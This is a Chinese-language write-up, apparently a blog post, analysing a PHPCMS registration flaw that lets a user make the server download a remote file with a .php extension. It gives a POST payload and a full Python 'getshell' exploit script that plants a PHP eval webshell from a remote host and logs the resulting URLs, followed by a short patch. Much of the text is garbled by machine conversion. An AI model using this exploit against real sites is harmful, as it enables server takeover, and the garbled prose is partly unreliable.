phpcms如今尚未命名叫啥漏洞,由于是经过会员注册杀进视频模型的附件下载流程,因此就写PHPCMS 会员任意附件远程下载0day分析了,利用exp以下:
dosubmit=1&modelid=11&username=hacker&password=hacker&email=hacker@test.com&info[content]=<img src=http://127.0.0.1/tools/php_eval.txt?.php#.jpg
将上面参数发post请求到 /index.php?m=member&c=index&a=register&siteid=1php
首先根据phpcms框架结构找到对应的处理入口文件,
会员入口:/index.php?m=member&c=index&a=register&siteid=1
找到phpcms框架对应的处理文件:\phpcms\phpcms\modules\member\index.php
第33行处理方法:register()
进入处理函数后,须要 设置 dosubmit 为真,走这里的验证流程:
这里能够看到用户名username、密码password、邮箱email是 必须填的(email为什么判断了2次? Phpcms的bug?)
单纯这个流程是没有漏洞,漏洞须要结合视频附件处理流程,
Phpcms默认安装有四个模型,分别是文章,下载,图片,视频模块,也能够本身建立模型, modelid=11就是视频模型,具体看
\phpcms\caches\caches_commons\caches_data\ model.cache.php 文件即可看到缓存的模型
须要把值设为11,因此上面post的参数变为了
dosubmit=1& modelid=11&username=hacker& password=hacker&email=hacker@test.com
下面有个 //附表信息验证 经过模型获取会员信息,问题就在这里了,获取视频模型的信息,
new_html_special_chars转义函数在 \phpcms\libs\functions\global.func.php 的第37行里:
能够看到这里把值或数组的键值转义了,继续看上面流程,
$member_input->get($_POST['info']); //模型输入处理
先要看建立的类库
$member_input = new member_input($userinfo['modelid']); //建立模型输入类
找下member_input类在文件
\phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中
在类中找到get方法,这个方法是获取模型数据的
在模型类中fields是一个强大的多维数组、打印出来看下
类中有个 editor 成员函数是作下载用的
断掉调试下,走视频模型时,fields的content[‘formtype’]的值为 editor ,下面代码是检测 当前类中是否存在 $fun()方法,若是存在则 传参执行这个方法 返回给 $value
继续跟 $value = $this->$func($field, $value)
也就是能够触发到成员函数 editor,再回到editor
这里有下载功能,继续找这个下载函数,发如今构造函数中,是一个附件类
附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重点在第二个参数,也就是传入的下载地址
在download 中设置上传目录,而后经过正则取出要下载的url,以后处理数组的过程当中会遇到一个 fillurl,补全url的成员函数html
Fillurl是支持的下载协议,继续看下面的流程,下面流程取得 附件的扩展名做为生成的文件名,由于下载的多是 rar、zip或者其余的,这里没有验证php扩展名,并且当在下载url加入?后面的至关于被截断了,可是能够绕过扩展名的判断。
而后须要回显,否则文件下载到服务器了,也不知道文件路径的;
恰巧在插入时会报错显示出路径信息:
\phpcms\caches\caches_model\caches_data\member_input.class.php 文件中
$info[$field] = $value;
各类姿式加起来组合出来强大的漏洞! exp 看下面:python
#!/usr/bin/env python #coding:utf-8 import sys,requests,random def getshell(target): vuln_url = target + "/index.php?m=member&c=index&a=register&siteid=1" strstr = str(random.randint(0,999)) data = { "dosubmit":1, "modelid":11, "username":"hacker" + strstr, "password":"hacker" + strstr, "email":strstr + "hacker@qq.com", "info[content]":"<img src=http://*****.com/tools/php_eval.txt?.php#.jpg" } try: response = requests.post(url = vuln_url,data = data,timeout=5) data_str = response.content except: data_str = "" vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)] print data_str if vul_url: with open("result.txt","a+") as f: f.write(vul_url+"\n") print vuln_url+"\n"+vul_url+"\n\n" else: print u"no vul" getshell("http://127.0.0.1/phpcms/")
修复漏洞:
这个是下载官网最新版测试的,貌似到如今还没修复呢,一堆代码逻辑在里头,对于很是熟悉的人,还可能间接找出相似问题,看别人说修复方式能够把uploadfile目录设置为不可执行权限,也能够经过上面的分析找到远程下载附件函数对生成的文件名作下判断再决定是否下载。好人作到底吧。
临时代码修复,等官网出了后,这个就淘汰了;
在附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面这行代码
$filename = $this->getname($filename); 在这行代码下面增长2行代码,判断下生成文件的格式:shell
$file_verify = explode('.', $filename); if ($file_verify[1] === "php") die('Extension not supported PHP!');